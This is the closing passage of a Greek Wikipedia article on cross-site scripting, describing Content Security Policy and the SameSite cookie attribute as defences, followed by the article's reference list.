Η Πολιτική Προστασίας Περιεχομένου (CSP)[25] επιτρέπει στα HTML έγγραφα να απενεργοποιούν μονάχα ορισμένα scripts. Ο φυλλομετρητής ελέγχει κάθε script σύμφωνα με την πολιτική αυτή προτού αποφασίσει εάν θα το εκτελέσει ή όχι. Όσο η πολιτική αυτή επιτρέπει την εκτέλεση μονάχα αξιόπιστων scripts και αποτρέπει την δυναμική φόρτωση κώδικα, ο φυλλομετρητής δεν θα εκτελέσει προγράμματα από μη έμπιστους συγγραφείς ανεξαρτήτως της δομής του HTML εγγράφου. Έτσι, το φορτίο εναποτίθεται στους δημιουργούς της πολιτικής. Αξίζει, ωστόσο, να αναφερθεί πως σύμφωνα με μία μελέτη η πρακτική αυτή δεν κρίνεται ιδιαίτερα αποτελεσματική.[26] Οι πιο σύγχονες πολιτικές κάνουν χρήση τυχαίων ή ψευδοτυχαίων αριθμών για να μαρκάρουν τα scripts εντός ενός HTML έγγραφου ως ασφαλή για εκτέλεση αντί η πολιτική να υφίσταται ανεξαρτήτως του περιεχομένου της σελίδας.[27]

SameSite παράμετρος σε HTTP cookie[Επεξεργασία | επεξεργασία κώδικα]

Όταν ένα cookie έχει οριστεί με την παράμετρο SameSite=Strict, τότε αφαιρείται από όλα τα αιτήματα που έχουν διαφορετική προέλευση (origin). Όταν η παράμετρος ορίζεται ως SameSite=Lax, τότε αφαιρείται από όλα τα μη ασφαλή αιτήματα διαφορετικής προέλευσης (δηλαδή αιτήματα διαφορετικά των GET, OPTIONS και TRACE).[28] Η παράμετρος αυτή υλοποιείται στον Google Chrome από την έκδοση 51, στον Firefox από την έκδοση 60 και στον Edge από την έκδοση 16.

Παραπομπές[Επεξεργασία | επεξεργασία κώδικα]

  1. ↑ «Same Origin Policy - Web Security». www.w3.org. Ανακτήθηκε στις 13 Αυγούστου 2020. 
  2. ↑ kexugit. «Happy 10th birthday Cross-Site Scripting!». docs.microsoft.com (στα Αγγλικά). Ανακτήθηκε στις 13 Αυγούστου 2020. 
  3. ↑ Arthur, Charles (2010-09-21). «The Twitter hack: how it started and how it worked» (στα αγγλικά). The Guardian. ISSN 0261-3077. https://www.theguardian.com/technology/blog/2010/sep/21/twitter-hack-explained-xss-javascript. Ανακτήθηκε στις 2020-08-13. 
  4. ↑ «Samy Kamkar - The MySpace Worm». samy.pl. Ανακτήθηκε στις 13 Αυγούστου 2020. 
  5. ↑ «BindShell.Net: The Cross-site Scripting Virus». web.archive.org. 26 Οκτωβρίου 2013. Αρχειοθετήθηκε από το πρωτότυπο στις 26 Οκτωβρίου 2013. Ανακτήθηκε στις 13 Αυγούστου 2020. CS1 maint: Unfit url (link)
  6. ↑ «#9521 (XSS with $(location.hash) and $(#) is needed?) – jQuery - Bug Tracker». bugs.jquery.com. Ανακτήθηκε στις 13 Αυγούστου 2020. 
  7. ↑ «DOM based XSS prevention cheat sheet» (PDF). OWASP. Ανακτήθηκε στις 13 Αυγούστου 2020. 
  8. ↑ «Angular». angular.io. Ανακτήθηκε στις 13 Αυγούστου 2020. 
  9. ↑ «Self-XSS Facebook scam attempts to trick users into hacking themselves - MajorGeeks». www.majorgeeks.com. Ανακτήθηκε στις 13 Αυγούστου 2020. 
  10. ↑ «Mutation XSS in Google Search». Acunetix (στα Αγγλικά). 10 Απριλίου 2019. Ανακτήθηκε στις 13 Αυγούστου 2020. 
  11. ↑ «HttpOnly - Set-Cookie HTTP response header | OWASP». owasp.org (στα Αγγλικά). Ανακτήθηκε στις 13 Αυγούστου 2020. 
  12. ↑ «Using HTTP cookies». MDN Web Docs (στα Αγγλικά). Ανακτήθηκε στις 13 Αυγούστου 2020. 
  13. ↑ «XSS Attack Examples (Cross-Site Scripting Attacks)». www.thegeekstuff.com. Ανακτήθηκε στις 13 Αυγούστου 2020. 
  14. ↑ Brodkin, Jon (4 Οκτωβρίου 2007). «The top 10 reasons Web sites get hacked». Network World (στα Αγγλικά). Ανακτήθηκε στις 13 Αυγούστου 2020. 
  15. ↑ «Cross Site Scripting Prevention - OWASP Cheat Sheet Series». cheatsheetseries.owasp.org. Ανακτήθηκε στις 13 Αυγούστου 2020. 
  16. ↑ «JSFuck - Write any JavaScript with 6 Characters: []()!+». www.jsfuck.com. Ανακτήθηκε στις 13 Αυγούστου 2020. 
  17. ↑ 17,0 17,1 «ModSecurity: Open Source Web Application Firewall - ModSecurity: Features: PDF Universal XSS Protection». web.archive.org. 23 Μαρτίου 2008. Αρχειοθετήθηκε από το πρωτότυπο στις 15 Ιουνίου 2013. Ανακτήθηκε στις 13 Αυγούστου 2020. CS1 maint: Unfit url (link)
  18. ↑ «Ajax and Mashup Security». web.archive.org. 3 Απριλίου 2008. Αρχειοθετήθηκε από το πρωτότυπο στις 3 Απριλίου 2008. Ανακτήθηκε στις 13 Αυγούστου 2020. CS1 maint: Unfit url (link)
  19. ↑ «What Is Web 2.0». oreilly.com. Ανακτήθηκε στις 13 Αυγούστου 2020. [νεκρός σύνδεσμος]
  20. ↑ support.microsoft.com https://support.microsoft.com/en-us/help/182569/internet-explorer-security-zones-registry-entries-for-advanced-users. Ανακτήθηκε στις 13 Αυγούστου 2020.  Missing or empty |title= (βοήθεια)
  21. ↑ «Opera Labs». web.archive.org. 17 Μαΐου 2008. Αρχειοθετήθηκε από το πρωτότυπο στις 17 Μαΐου 2008. Ανακτήθηκε στις 13 Αυγούστου 2020. CS1 maint: Unfit url (link)
  22. ↑ 22,0 22,1 «NoScript - JavaScript/Java/Flash blocker for a safer Firefox experience! - features - InformAction». noscript.net. Ανακτήθηκε στις 13 Αυγούστου 2020. 
  23. ↑ «Overview of Interactive Methods». web.archive.org. 18 Ιουνίου 2008. Αρχειοθετήθηκε από το πρωτότυπο στις 18 Ιουνίου 2008. Ανακτήθηκε στις 13 Αυγούστου 2020. CS1 maint: Unfit url (link)
  24. ↑ «'Most websites' failing disabled» (στα αγγλικά). 2006-12-05. http://news.bbc.co.uk/2/hi/technology/6210068.stm. Ανακτήθηκε στις 2020-08-13. 
  25. ↑ «Content Security Policy Level 3». www.w3.org. Ανακτήθηκε στις 13 Αυγούστου 2020. 
  26. ↑ Weichselbaum, Lukas (2016). «CSP Is Dead, Long Live CSP! On the Insecurity of Whitelists and the Future of Content Security Policy». Proceedings of the 2016 ACM SIGSAC Conference on Computer and Communications Security. https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/45542.pdf. 
  27. ↑ «Strict CSP - Content Security Policy». csp.withgoogle.com. Ανακτήθηκε στις 13 Αυγούστου 2020. 
  28. ↑ Goodwin, Mark· West, Mike. «Same-site Cookies». tools.ietf.org (στα Αγγλικά). Ανακτήθηκε στις 13 Αυγούστου 2020. 
Ανακτήθηκε από "https://el.wikipedia.org/w/index.php?title=Cross-site_scripting&oldid=10126714"